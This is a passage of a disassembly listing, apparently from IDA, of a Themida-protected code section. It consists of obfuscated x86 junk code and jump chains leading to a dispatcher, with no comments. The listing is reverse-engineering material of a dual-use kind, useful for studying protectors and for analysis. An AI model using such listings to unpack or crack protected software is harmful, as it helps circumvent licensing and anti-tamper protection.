--------------------------------------------------------------------------- loc_59B4CF: ; CODE XREF: Themida_:0059C710j add esp, 4 shr eax, 8 jmp loc_5A8F69 ; --------------------------------------------------------------------------- loc_59B4DD: ; CODE XREF: Themida_:0059FCF9j xor edi, [esp] xor [esp], edi jmp loc_5AD033 ; --------------------------------------------------------------------------- loc_59B4E8: ; CODE XREF: Themida_:0059F9BEj shl ebp, 3 sub ebp, 385A5D91h dec ebp sub ebp, 454062FFh add edx, ebp pop ebp push ebp push ecx mov ecx, 71847D98h mov ebp, 1C8721FDh xor ebp, ecx pop ecx xor ebp, 37D65E6Eh sub edx, ebp jmp loc_5AC345 ; --------------------------------------------------------------------------- loc_59B517: ; CODE XREF: Themida_:005A29F5j add esp, 4 sub bl, al push small 4427h jmp loc_5A97DE ; --------------------------------------------------------------------------- loc_59B525: ; CODE XREF: Themida_:0059BEAEj add ah, 0F3h sub ah, bh sub ah, 0F3h jmp loc_5AC7E0 ; --------------------------------------------------------------------------- loc_59B532: ; CODE XREF: Themida_:005AA1A7j mov [esp], ecx sub esp, 4 mov [esp], ebp jmp loc_5A57B3 ; --------------------------------------------------------------------------- loc_59B540: ; DATA XREF: Themida_:00598844o neg dword ptr [esp] pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59B549: ; CODE XREF: Themida_:0059E737j push small 66DEh jmp loc_5AB83F ; --------------------------------------------------------------------------- loc_59B552: ; CODE XREF: Themida_:005A9B9Dj inc ecx jg loc_59ACC0 xor ecx, 18656A8Ah jmp loc_59EAD2 ; --------------------------------------------------------------------------- push ecx loc_59B565: ; CODE XREF: Themida_:005A25C3j push 345Eh jmp loc_5A04A3 ; --------------------------------------------------------------------------- loc_59B56F: ; CODE XREF: Themida_:0059FBFCj neg ebp push ebx jmp loc_5AEC8E ; --------------------------------------------------------------------------- loc_59B577: ; CODE XREF: Themida_:00598CFCj push esp jmp loc_5A1A6C ; --------------------------------------------------------------------------- loc_59B57D: ; CODE XREF: Themida_:0059CDA2j mov ecx, 814C67A5h sub ecx, edi pop edi add ecx, 1AFE3136h or ecx, 72CE2E61h neg ecx sub ecx, 2CDAF355h sub edx, 45800F06h add edx, ecx add edx, 45800F06h pop ecx mov eax, edx pop edx mov edi, eax jmp loc_5A1739 ; --------------------------------------------------------------------------- loc_59B5B2: ; CODE XREF: Themida_:0059BEF5j mov edx, 3BF56C34h mov ebx, edx pop edx add ebx, 447A2423h push ebx mov ebx, esp jmp loc_59CB35 ; --------------------------------------------------------------------------- loc_59B5C8: ; CODE XREF: Themida_:005A5506j inc ebp jmp loc_5A9DF3 ; --------------------------------------------------------------------------- loc_59B5CE: ; CODE XREF: Themida_:0059ED2Dj add eax, ebx pop ebx push dword ptr [esp] pop ecx add esp, 4 shl eax, cl jmp loc_5A1ECA ; --------------------------------------------------------------------------- loc_59B5DF: ; CODE XREF: Themida_:0059C9C1j push esi mov esi, 649D3DB9h or esi, 798A750Dh xor esi, 7A903999h jmp loc_5AA88C ; --------------------------------------------------------------------------- loc_59B5F6: ; CODE XREF: Themida_:005AB280j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59B5FB: ; CODE XREF: Themida_:00598F54j neg edx and edx, 1FB03BD7h shl edx, 5 sub edx, 1 or edx, 1EB5467Ch push ebp jmp loc_5AACA9 ; --------------------------------------------------------------------------- loc_59B618: ; CODE XREF: Themida_:0059F964j mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5A2DA2 ; --------------------------------------------------------------------------- loc_59B62F: ; CODE XREF: Themida_:005AA99Fj add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 7271h mov [esp], eax mov al, 0F0h jmp loc_59FCFE ; --------------------------------------------------------------------------- loc_59B655: ; CODE XREF: Themida_:005AC307j xor ecx, edx push dword ptr [esp] pop edx add esp, 4 pop eax or [edi+1Ch], ecx mov ecx, [esp] add esp, 4 loc_59B66B: ; CODE XREF: Themida_:005A1BF1j push 38D4h mov [esp], ebx sub esp, 4 mov [esp], ecx mov ecx, 685656Eh push ebx push ebp mov ebp, 6CCD6791h jmp loc_5A695B ; --------------------------------------------------------------------------- loc_59B68D: ; CODE XREF: Themida_:005AD56Cj pop esi add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] jmp loc_5A4ED4 ; --------------------------------------------------------------------------- loc_59B69D: ; CODE XREF: Themida_:005ABFEBj or eax, 5B2414BEh neg eax jmp loc_5ABEEA ; --------------------------------------------------------------------------- loc_59B6A9: ; CODE XREF: Themida_:0059E8F0j pop eax add [esp+4], ebp pop ebp push dword ptr [esp] jmp loc_5AEDE7 ; --------------------------------------------------------------------------- loc_59B6B7: ; CODE XREF: Themida_:0059FD57j pop esi shr ecx, 4 not ecx xor ecx, 694A396Ah inc ecx push 0B09h mov [esp], ebp mov ebp, 149B67C9h xor ebp, 3EC0648Ah neg ebp xor ebp, 20B62CFCh and ebp, 3F684DC1h neg ebp add ebp, 0BD28D79Ch xor ecx, ebp pop ebp sub edx, ecx pop ecx jmp loc_59CBEF ; --------------------------------------------------------------------------- loc_59B6F8: ; CODE XREF: Themida_:00599697j ; Themida_:0059DC23j add eax, 0AF474029h inc eax sub eax, 1E360CB8h add edi, eax pop eax push ebx push 2 pop ebx add edi, ebx jmp loc_5AB308 ; --------------------------------------------------------------------------- loc_59B714: ; CODE XREF: Themida_:005A2BDBj push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_59D114 ; --------------------------------------------------------------------------- loc_59B721: ; CODE XREF: Themida_:005A2CF6j add ebx, 4 sub ebx, 4 jmp loc_5AA70E ; --------------------------------------------------------------------------- loc_59B732: ; CODE XREF: Themida_:005AFA58j pop ecx jmp loc_59C743 ; --------------------------------------------------------------------------- loc_59B738: ; CODE XREF: Themida_:0059FBEEj add eax, 4 xchg eax, [esp] jmp loc_5A4A3E ; --------------------------------------------------------------------------- loc_59B745: ; CODE XREF: Themida_:0059C218j mov esp, [esp] mov [esp], dx push ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59B754: ; CODE XREF: Themida_:005A8CF0j sub edx, 0FFFFFFFFh sub edx, 65B9A54h mov ecx, edx pop edx and ecx, 31943CF3h add ecx, 68A90A87h xor ecx, 987473CAh sub ebx, ecx pop ecx push 6FD6h mov [esp], eax mov eax, 0 add eax, ebx mov [eax], ch pop eax pop ebx jmp loc_5ABEDC ; --------------------------------------------------------------------------- loc_59B78D: ; CODE XREF: Themida_:0059A307j and eax, ebx push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] push dword ptr [esp] pop esi add esp, 4 jmp loc_59DA39 ; --------------------------------------------------------------------------- loc_59B7B3: ; CODE XREF: Themida_:005A034Dj add ebp, 4 xchg ebp, [esp] pop esp xor ch, bl pop bx xor al, ch mov ecx, [esp] add esp, 4 jmp loc_59EE2E ; --------------------------------------------------------------------------- loc_59B7CE: ; CODE XREF: Themida_:0059EA52j add ecx, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_5AB727 ; --------------------------------------------------------------------------- loc_59B7DC: ; CODE XREF: Themida_:005AD129j add al, 0FCh sub esp, 4 mov [esp], edx jmp loc_5A9E31 ; --------------------------------------------------------------------------- loc_59B7E9: ; CODE XREF: Themida_:0059FE55j jb loc_59CB0C sub edi, 2D340FE3h jnb loc_5A5C30 jmp loc_5AEA54 ; --------------------------------------------------------------------------- mov edx, ecx jmp loc_5A4D65 ; --------------------------------------------------------------------------- mov eax, ebp loc_59B809: ; CODE XREF: Themida_:0059C54Dj add esp, 4 xor ebp, ecx jmp loc_5AAA67 ; --------------------------------------------------------------------------- loc_59B813: ; CODE XREF: Themida_:0059C8F6j ; Themida_:loc_5A38D2j add eax, 68DB79D5h jns loc_5AA527 sub eax, 46272752h jnz loc_5A0162 mov dh, ch mov dh, 7Ah loc_59B82D: ; CODE XREF: Themida_:005A7AE0j pop esi jmp loc_5A50BC ; --------------------------------------------------------------------------- loc_59B833: ; CODE XREF: Themida_:0059A569j ; Themida_:005A79DDj add eax, 1 push ebx mov ebx, 53FF16C2h jmp loc_5A3E34 ; --------------------------------------------------------------------------- loc_59B843: ; CODE XREF: Themida_:005A3C0Cj ; Themida_:005A82EAj pop edx add edx, 4 sub edx, 4 jmp loc_5AEFDE ; --------------------------------------------------------------------------- loc_59B855: ; CODE XREF: Themida_:005AB4CAj mov dh, ch mov ecx, [esp] jmp loc_5A7265 ; --------------------------------------------------------------------------- loc_59B85F: ; DATA XREF: Themida_:00598740o lodsb push ecx mov cl, 0A7h add cl, 12h xor cl, 0F7h dec cl push ebx push 4785h mov [esp], edx push ebx jmp loc_5A17E9 ; --------------------------------------------------------------------------- loc_59B87A: ; CODE XREF: Themida_:005AA184j mov eax, [esp] add esp, 4 push esi mov esi, 248E675Ah xor eax, esi pop esi pop edi add ebx, 192804C4h jmp loc_59FA08 ; --------------------------------------------------------------------------- loc_59B898: ; CODE XREF: Themida_:0059EABCj neg ebp xor ebp, 158D0DA5h and ebx, ebp pop ebp not ebx sub ebx, 663F33C5h jmp loc_5AACE4 ; --------------------------------------------------------------------------- loc_59B8B0: ; CODE XREF: Themida_:loc_5ACA82j add esi, 72B431F6h jge loc_598D19 jmp loc_59E7BE ; --------------------------------------------------------------------------- or ebx, 3573037Ah not ebx push edx loc_59B8CA: ; CODE XREF: Themida_:005A8FF0j shl ecx, 6 sub ecx, 4F51277Ch jmp loc_5AF823 ; --------------------------------------------------------------------------- loc_59B8D8: ; CODE XREF: Themida_:005A58E2j sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_5AAA6D ; --------------------------------------------------------------------------- loc_59B8EB: ; CODE XREF: Themida_:005A8A2Fj push edi mov edi, 5EAE362Ch sub esp, 4 mov [esp], edi pop esi jmp loc_5A8417 ; --------------------------------------------------------------------------- loc_59B8FD: ; CODE XREF: Themida_:005A042Dj shl eax, 4 push ebp mov ebp, 23D3AEBEh sub eax, ebp pop ebp mov esi, eax pop eax push ebp mov ebp, 502D6EAEh jmp loc_5AA3A7 ; --------------------------------------------------------------------------- loc_59B917: ; CODE XREF: Themida_:005AFBFEj sub eax, 0E8689FDh push edx mov edx, 3890463Fh or eax, edx jmp loc_5A7FE0 ; --------------------------------------------------------------------------- loc_59B929: ; CODE XREF: Themida_:005A00E5j ; Themida_:005AEB3Bj sub dl, 79h jmp loc_5ADEBF ; --------------------------------------------------------------------------- loc_59B931: ; CODE XREF: Themida_:005A0F16j push ecx mov ch, 3Dh xor ch, 0CCh jmp loc_59C59E ; --------------------------------------------------------------------------- loc_59B93C: ; CODE XREF: Themida_:005AD43Bj push 10h push dword ptr [esp] jmp loc_59CBF5 ; --------------------------------------------------------------------------- loc_59B949: ; CODE XREF: Themida_:0059EC34j ; Themida_:005AF186j xor ebx, esi pop esi xor ebx, 617735B3h jmp loc_5A9B6F ; --------------------------------------------------------------------------- loc_59B957: ; CODE XREF: Themida_:005ABBD3j sub ecx, 46EA3E08h add ecx, eax add ecx, 46EA3E08h sub esp, 4 mov [esp], ebp push esi jmp loc_5A0CE8 ; --------------------------------------------------------------------------- loc_59B974: ; CODE XREF: Themida_:005ABCF0j pop esi add ecx, eax pop eax push 7C31h mov [esp], ecx push dword ptr [esp+4] jmp loc_59F4C2 ; --------------------------------------------------------------------------- loc_59B989: ; CODE XREF: Themida_:005AD6C6j mov edi, 4 add ebx, edi jmp loc_59FCB4 ; --------------------------------------------------------------------------- loc_59B995: ; CODE XREF: Themida_:loc_59A958j sub eax, 8CE937E2h mov esi, eax mov eax, [esp] add esp, 4 jmp loc_5A2DBF ; --------------------------------------------------------------------------- loc_59B9AA: ; CODE XREF: Themida_:005AD597j not ecx jmp loc_5A62E8 ; --------------------------------------------------------------------------- loc_59B9B1: ; CODE XREF: Themida_:005AA3A2j shl edi, 8 inc edi xor edi, 69A84CCAh add edi, 9ECEB337h push 4515h jmp loc_59FA8E ; --------------------------------------------------------------------------- loc_59B9CB: ; CODE XREF: Themida_:00599045j pop esp mov ax, [esp] push 4F53h mov [esp], eax push esp pop eax push 27EBh mov [esp], esi push esp pop esi add esi, 4 jmp loc_5A3AEF ; --------------------------------------------------------------------------- loc_59B9EF: ; CODE XREF: Themida_:0059DE7Ej sub edx, ebx pop ebx jmp loc_599CAC ; --------------------------------------------------------------------------- loc_59B9F7: ; DATA XREF: Themida_:00598824o mov ax, [esp] push 2259h mov [esp], esi push esp pop esi add esi, 4 push 1748h mov [esp], eax mov eax, 2 push edi jmp loc_5A9BD0 ; --------------------------------------------------------------------------- loc_59BA1E: ; CODE XREF: Themida_:005A6620j add esp, 4 push 4AC1h mov [esp], esi jmp loc_5A1665 ; --------------------------------------------------------------------------- loc_59BA2E: ; CODE XREF: Themida_:00598E9Ej ; Themida_:0059D00Cj mov ebp, [esp] add esp, 4 push 3476h jmp loc_5A9FF7 ; --------------------------------------------------------------------------- loc_59BA41: ; CODE XREF: Themida_:0059C118j pop esi add esp, 4 movzx eax, al jmp loc_5AF48B ; --------------------------------------------------------------------------- loc_59BA50: ; CODE XREF: Themida_:005ABEC9j shl eax, 7 jp loc_5AE9A0 jmp loc_5A6F8E ; --------------------------------------------------------------------------- loc_59BA5E: ; CODE XREF: Themida_:005A85FCj shr esi, 4 jmp loc_5ABCA9 ; --------------------------------------------------------------------------- loc_59BA66: ; CODE XREF: Themida_:0059D83Aj add edx, 4 sub esp, 4 mov [esp], ebx jmp loc_5A91C9 ; --------------------------------------------------------------------------- loc_59BA77: ; CODE XREF: Themida_:005A27F8j mov eax, [esp] jmp loc_59D4F0 ; --------------------------------------------------------------------------- loc_59BA7F: ; CODE XREF: Themida_:005A7307j shl ebx, 3 shl ebx, 5 push 110Ah mov [esp], esi jmp loc_5ABE38 ; --------------------------------------------------------------------------- sub dh, 4Bh pop eax neg dh shl dh, 7 jmp loc_5AEF4E ; --------------------------------------------------------------------------- loc_59BAA0: ; CODE XREF: Themida_:005AE4CFj add eax, 6CF66B8Eh pop edx jmp loc_5ADEC6 ; --------------------------------------------------------------------------- loc_59BAAB: ; CODE XREF: Themida_:005AC52Aj mov dh, 76h jmp loc_5AAC43 ; --------------------------------------------------------------------------- loc_59BAB2: ; CODE XREF: Themida_:loc_59A784j push eax mov al, 94h push ecx mov cl, 0DDh sub al, cl pop ecx xor bh, al mov eax, [esp] jmp loc_5AD189 ; --------------------------------------------------------------------------- loc_59BAC5: ; CODE XREF: Themida_:005A36FAj ; Themida_:005A9BA4j add ebx, 4 xchg ebx, [esp] pop esp push edi jmp loc_5A9A53 ; --------------------------------------------------------------------------- loc_59BAD2: ; CODE XREF: Themida_:005AADD2j mov [esp], esi jmp loc_5A561E ; --------------------------------------------------------------------------- loc_59BADA: ; CODE XREF: Themida_:00599251j pop ebx jmp loc_5ACD75 ; --------------------------------------------------------------------------- loc_59BAE0: ; CODE XREF: Themida_:005995A3j mov [esp], edx jmp loc_5A814C ; --------------------------------------------------------------------------- loc_59BAE8: ; CODE XREF: Themida_:00599DE4j jmp loc_5A01D6 ; --------------------------------------------------------------------------- loc_59BAED: ; CODE XREF: Themida_:005A1E66j add esp, 4 push 1F90h mov [esp], ecx mov ecx, 4F1348A8h sub ecx, 1 jmp loc_59A9D9 ; --------------------------------------------------------------------------- loc_59BB0B: ; CODE XREF: Themida_:0059D3A5j mov [esp], edi mov edi, 7F7F48C9h sub esi, edi jmp loc_5989BD ; --------------------------------------------------------------------------- loc_59BB1A: ; CODE XREF: Themida_:00599D74j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_5A1816 ; --------------------------------------------------------------------------- loc_59BB2E: ; CODE XREF: Themida_:0059E932j pop edx movzx eax, al push dword ptr [edi+eax*4] mov eax, [esp] push 5B2Ah mov [esp], ebp jmp loc_59EFA7 ; --------------------------------------------------------------------------- loc_59BB45: ; CODE XREF: Themida_:005AEE4Aj mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A3019 ; --------------------------------------------------------------------------- loc_59BB5C: ; CODE XREF: Themida_:0059F768j ; Themida_:loc_5A0A72j ... add esp, 4 jmp loc_5A094F ; --------------------------------------------------------------------------- loc_59BB64: ; CODE XREF: Themida_:005A30E2j shl edi, 3 sub edi, 0FEE9E7A4h add edx, edi pop edi xchg edx, [esp] pop esp jmp loc_5A6E67 ; --------------------------------------------------------------------------- loc_59BB79: ; CODE XREF: Themida_:005A3672j sub eax, edi jmp loc_5A30AF ; --------------------------------------------------------------------------- loc_59BB80: ; CODE XREF: Themida_:0059E404j or eax, 3C8E1A1Bh push ebx mov ebx, 765D5816h xor eax, ebx pop ebx add eax, 1454E29Bh xor edx, eax pop eax push ebx mov ebx, edx jmp loc_5A8E5D ; --------------------------------------------------------------------------- loc_59BB9E: ; CODE XREF: Themida_:005AE13Aj add esi, 5BA206A8h add ebx, esi mov esi, [esp] add esp, 4 add eax, 776669A7h sub eax, 24962125h add eax, ebx add eax, 24962125h push edx mov edx, 776669A7h sub eax, edx pop edx push dword ptr [esp] pop ebx push edi push esp pop edi push ecx mov ecx, 4 add edi, ecx jmp loc_59FF06 ; --------------------------------------------------------------------------- loc_59BBDD: ; CODE XREF: Themida_:0059A3DAj add eax, ecx mov ecx, [esp] add esp, 4 jmp loc_5A3324 ; --------------------------------------------------------------------------- loc_59BBEA: ; CODE XREF: Themida_:005A2847j push esp pop ecx jmp loc_5AC239 ; --------------------------------------------------------------------------- loc_59BBF1: ; CODE XREF: Themida_:005A26C1j mov edx, esi push dword ptr [esp] pop esi push eax mov eax, esp push ebx mov ebx, 4 sub eax, 76ED4D51h add eax, ebx add eax, 76ED4D51h mov ebx, [esp] add esp, 4 add eax, 4 xor eax, [esp] jmp loc_59A7CA ; --------------------------------------------------------------------------- loc_59BC20: ; CODE XREF: Themida_:0059DA07j neg ebp push 0 sub [esp], ebp pop ebp jmp loc_59D1D5 ; --------------------------------------------------------------------------- loc_59BC30: ; CODE XREF: Themida_:005A8A12j pop esp jmp loc_5A4F06 ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 jmp loc_59F2A3 ; --------------------------------------------------------------------------- loc_59BC44: ; CODE XREF: Themida_:005A60A3j push edx push esi mov esi, 67C50F29h jmp loc_5A26AF ; --------------------------------------------------------------------------- loc_59BC50: ; CODE XREF: Themida_:005A23AFj push 18AAh mov [esp], esp jmp loc_5AA781 ; --------------------------------------------------------------------------- loc_59BC5D: ; CODE XREF: Themida_:005AD296j not dword ptr [esp] jmp loc_598CBC ; --------------------------------------------------------------------------- loc_59BC65: ; CODE XREF: Themida_:005A8AB0j push eax mov eax, 1 jmp loc_5A3282 ; --------------------------------------------------------------------------- loc_59BC70: ; CODE XREF: Themida_:005A08D4j ; Themida_:005A574Cj pop eax xor dh, 6Dh push ebx jmp loc_5AB7B7 ; --------------------------------------------------------------------------- loc_59BC7A: ; CODE XREF: Themida_:005A99BBj add ebp, 4E451A3Dh jmp loc_59F709 ; --------------------------------------------------------------------------- loc_59BC85: ; CODE XREF: Themida_:loc_5A79ECj xor dl, 8Ah jmp loc_5A233A ; --------------------------------------------------------------------------- loc_59BC8D: ; CODE XREF: Themida_:0059A486j xchg ebp, [esp] pop esp pop edx and ebx, 38287AD3h jno loc_59D8E0 push 1E4h mov [esp], edx mov edx, 6654017Ah xor ebx, edx loc_59BCAD: ; CODE XREF: Themida_:00599A49j ; Themida_:005A773Bj sub [esp], al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59BCB6: ; CODE XREF: Themida_:005A7134j sub esp, 4 mov [esp], edi jmp loc_5ABB0D ; --------------------------------------------------------------------------- loc_59BCC4: ; CODE XREF: Themida_:0059FD90j mov eax, [esp] sub esp, 4 mov [esp], eax push esp pop eax jmp loc_59E414 ; --------------------------------------------------------------------------- loc_59BCD7: ; CODE XREF: Themida_:0059AED5j mov ebx, 4 add ebp, ebx jmp loc_5A722C ; --------------------------------------------------------------------------- loc_59BCE3: ; CODE XREF: Themida_:005A04C3j push 2043h mov [esp], ebp mov ebp, 668E53C3h shl ebp, 8 and ebp, 65765A92h jmp loc_59A65E ; --------------------------------------------------------------------------- loc_59BCFE: ; CODE XREF: Themida_:0059CB96j ; Themida_:0059F957j pop eax add eax, 4 push ebp push 5186h jmp loc_5A2535 ; --------------------------------------------------------------------------- loc_59BD0F: ; CODE XREF: Themida_:0059CA2Bj push eax jmp loc_5A3FA7 ; --------------------------------------------------------------------------- loc_59BD15: ; CODE XREF: Themida_:005A49C2j mov ebp, edx pop edx add esi, ebp pop ebp sub esp, 4 mov [esp], esi jmp loc_5A22CE ; --------------------------------------------------------------------------- loc_59BD26: ; CODE XREF: Themida_:005A2F28j add eax, 645014E4h add eax, 166932F1h add eax, edx jmp loc_5A9D46 ; --------------------------------------------------------------------------- loc_59BD37: ; CODE XREF: Themida_:005A3206j push 0 jmp loc_599D9B ; --------------------------------------------------------------------------- loc_59BD41: ; CODE XREF: Themida_:005A1035j pop edi add edx, ebx push eax mov eax, 0 add eax, edx push ecx mov ecx, 0 add ecx, eax add [ecx], esi jmp loc_5A49C7 ; --------------------------------------------------------------------------- loc_59BD5B: ; CODE XREF: Themida_:005AC723j mov [esp], ebx mov ebx, esp sub esp, 4 mov [esp], ecx push eax mov eax, 5CF04482h jmp loc_59E3D7 ; --------------------------------------------------------------------------- loc_59BD74: ; CODE XREF: Themida_:005AC321j push 1E90h jmp loc_59A1A6 ; --------------------------------------------------------------------------- loc_59BD7E: ; CODE XREF: Themida_:005AE261j push edx jmp loc_5ACEC4 ; --------------------------------------------------------------------------- loc_59BD84: ; CODE XREF: Themida_:0059ECAAj pop esi add esp, 4 add esi, 8047B71Ch add ebp, esi mov esi, [esp] jmp loc_5A649C ; --------------------------------------------------------------------------- loc_59BD98: ; CODE XREF: Themida_:0059D77Cj xchg eax, [esp] pop esp jmp loc_5A0B0D ; --------------------------------------------------------------------------- loc_59BDA1: ; CODE XREF: Themida_:0059CD5Bj pop edi sub ebx, eax pop eax jmp loc_5AEC65 ; --------------------------------------------------------------------------- loc_59BDAA: ; CODE XREF: Themida_:0059B274j shl bh, 5 jnp loc_59BE42 and bh, 6Ch jl loc_59D109 shr bh, 8 jnp loc_59E97B push dx jmp loc_5A1C10 ; --------------------------------------------------------------------------- loc_59BDCC: ; CODE XREF: Themida_:005A857Cj push ebp mov ebp, 61EC735Ah and ebp, 4F9E666Fh sub ebp, 0DB6F3E3Dh or edi, ebp pop ebp jmp loc_5AAD4F ; --------------------------------------------------------------------------- loc_59BDE6: ; CODE XREF: Themida_:0059CAAFj push 6439h mov [esp], edx jmp loc_5ADCCE ; --------------------------------------------------------------------------- loc_59BDF3: ; CODE XREF: Themida_:005AC207j sub eax, 3CA10E9Fh jmp loc_5A726D ; --------------------------------------------------------------------------- loc_59BDFD: ; CODE XREF: Themida_:005AC86Bj pop edx add esp, 4 pop dword ptr [esp] mov esp, [esp] push 3B44h mov [esp], ecx mov ecx, esp push edi mov edi, 4 add ecx, edi pop edi add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] test ecx, eax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59BE37: ; CODE XREF: Themida_:005A1138j xor [esp], esi xor esi, [esp] jmp loc_5A0E5B ; --------------------------------------------------------------------------- loc_59BE42: ; CODE XREF: Themida_:0059BDADj and bh, 6Ch jl loc_5AEE0D shr bh, 8 jnp loc_5A1ECA jmp loc_5AC52F ; --------------------------------------------------------------------------- loc_59BE59: ; CODE XREF: Themida_:005AD878j shl edi, 6 or edi, 5192544Bh shl edi, 6 sub edi, 9A0FB134h add ebp, edi pop edi jmp loc_5A59F1 ; --------------------------------------------------------------------------- loc_59BE73: ; CODE XREF: Themida_:loc_5AEA43j push ecx push ebp jmp loc_59E58D ; --------------------------------------------------------------------------- loc_59BE7A: ; CODE XREF: Themida_:0059F2D6j pop esi push ebx add dword ptr [esp], 6E3F76F4h pop edx sub edx, 6E3F76F4h push dword ptr [esp] mov ebx, [esp] push edx jmp loc_59F6A0 ; --------------------------------------------------------------------------- loc_59BE96: ; CODE XREF: Themida_:005A0857j mov [esp], ecx jmp loc_59F21C ; --------------------------------------------------------------------------- loc_59BE9E: ; CODE XREF: Themida_:0059D3D4j pop esi jmp loc_59FBF3 ; --------------------------------------------------------------------------- loc_59BEA4: ; CODE XREF: Themida_:0059B210j push small 0D00h mov [esp], bx mov bh, 9Ah jmp loc_59B525 ; --------------------------------------------------------------------------- loc_59BEB3: ; CODE XREF: Themida_:005AB224j sub bl, dh pop edx push eax push 74B9h mov [esp], edx mov dh, bl mov ah, dh pop edx mov dl, ah pop eax pop ebx sub al, 0C1h jmp loc_5A7F92 ; --------------------------------------------------------------------------- loc_59BECF: ; CODE XREF: Themida_:005ADB10j push 1F92h mov [esp], edi mov edi, 47195A3Eh xor edx, edi jmp loc_5A5962 ; --------------------------------------------------------------------------- loc_59BEE3: ; CODE XREF: Themida_:005A7D2Cj add esp, 4 add esp, 4 push 60B1h mov [esp], ebx push edx jmp loc_59B5B2 ; --------------------------------------------------------------------------- loc_59BEFA: ; CODE XREF: Themida_:005A030Dj push eax jmp loc_5A2761 ; --------------------------------------------------------------------------- loc_59BF00: ; CODE XREF: Themida_:0059A16Aj js loc_5A6A98 xor edx, 26F662E8h sub edx, 0E75A2484h push ebp mov ebp, edx mov ebx, ebp pop ebp jmp loc_5AF1E0 ; --------------------------------------------------------------------------- loc_59BF1D: ; CODE XREF: Themida_:005AA522j pop edx shl edx, 3 push ebp push edx push 33265EBh pop edx jmp loc_59FB34 ; --------------------------------------------------------------------------- loc_59BF2E: ; CODE XREF: Themida_:loc_5AB1E7j add edx, 8BFF2E2h jmp loc_5AE464 ; --------------------------------------------------------------------------- loc_59BF39: ; CODE XREF: Themida_:005A9139j ; Themida_:005ACF66j add esp, 4 push ebx mov ebx, esp push edi jmp loc_5A476E ; --------------------------------------------------------------------------- loc_59BF48: ; CODE XREF: Themida_:0059A4FEj add al, dl pop dx add al, 0EBh jmp loc_5AC854 ; --------------------------------------------------------------------------- loc_59BF53: ; CODE XREF: Themida_:005A1F26j push edi mov edi, 7E734C0Ah jmp loc_59D304 ; --------------------------------------------------------------------------- loc_59BF5E: ; CODE XREF: Themida_:005A9717j mov [esp], eax mov eax, esp push ebp mov ebp, 4 sub eax, 57A4625Bh add eax, ebp jmp loc_5A25C8 ; --------------------------------------------------------------------------- loc_59BF75: ; CODE XREF: Themida_:005A382Bj push edi mov edi, 366A0A0Ch jmp loc_5A34E9 ; --------------------------------------------------------------------------- push edi jmp loc_5A009E ; --------------------------------------------------------------------------- loc_59BF86: ; CODE XREF: Themida_:005A4C07j ; Themida_:005A944Aj ... push ebp jmp loc_5A325F ; --------------------------------------------------------------------------- loc_59BF8C: ; CODE XREF: Themida_:005A7248j mov [esp], edx mov edx, 717F1299h xor edx, 6F2F1BF3h xor eax, edx jmp loc_5ACC09 ; --------------------------------------------------------------------------- loc_59BFA1: ; CODE XREF: Themida_:005A2687j push 1F50h jmp loc_5A885D ; --------------------------------------------------------------------------- loc_59BFAB: ; CODE XREF: Themida_:0059D34Cj mov esi, edx pop edx add eax, esi jmp loc_5AE29E ; --------------------------------------------------------------------------- loc_59BFB5: ; CODE XREF: Themida_:005A8C48j mov esi, 62E95381h shr esi, 1 and esi, 695E49A1h jbe loc_5A0CDB sub esi, 64450EBCh xor ebp, esi jmp loc_5999BF ; --------------------------------------------------------------------------- loc_59BFD5: ; CODE XREF: Themida_:00599869j sub ebx, 42430800h sub ebx, 18FE5BE2h add ebx, ebp jmp loc_5A913E ; --------------------------------------------------------------------------- loc_59BFE8: ; CODE XREF: Themida_:005A9251j and ebx, 106C2BEFh jmp loc_5A66CE ; --------------------------------------------------------------------------- loc_59BFF3: ; DATA XREF: Themida_:00598860o mov esp, [esp] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59BFFB: ; CODE XREF: Themida_:005ABEC1j neg eax jns loc_5AD9AB shl eax, 7 jmp loc_5A79E2 ; --------------------------------------------------------------------------- xor al, 39h pop esp loc_59C00F: ; CODE XREF: Themida_:005A046Ej mov esp, [esp] pop ecx push 42AAh mov [esp], ebp mov ebp, 5A1C1741h push 22Bh mov [esp], edi push ebx mov ebx, 10944A66h mov edi, 582F63A7h xor edi, ebx mov ebx, [esp] add esp, 4 or ebp, edi mov edi, [esp] add esp, 4 shr ebp, 4 not ebp xor ebp, 0E5BC5631h sub ebx, ebp pop ebp jmp loc_59CC73 ; --------------------------------------------------------------------------- loc_59C059: ; CODE XREF: Themida_:005A2E2Dj mov esp, [esp] jmp loc_59E688 ; --------------------------------------------------------------------------- loc_59C061: ; CODE XREF: Themida_:005A2EF7j sub ecx, 5E9BFA7Eh add ebp, ecx pop ecx push esi mov esi, esp sub esp, 4 mov [esp], ebx mov ebx, 23B82AFDh neg ebx neg ebx push ebp mov ebp, 348754A9h jmp loc_59E93F ; --------------------------------------------------------------------------- loc_59C087: ; CODE XREF: Themida_:005ACD31j pop ebx jmp loc_5AC38E ; --------------------------------------------------------------------------- loc_59C08D: ; CODE XREF: Themida_:005A1B74j push 38DFh mov [esp], ecx jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59C09A: ; CODE XREF: Themida_:0059A28Bj shl ecx, 7 jmp loc_5A0B23 ; --------------------------------------------------------------------------- loc_59C0A2: ; CODE XREF: Themida_:005AAC94j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp pop eax sub dh, 79h add dh, ch add dh, 79h jmp loc_5A7AF1 ; --------------------------------------------------------------------------- loc_59C0BF: ; CODE XREF: Themida_:0059A5B1j mov 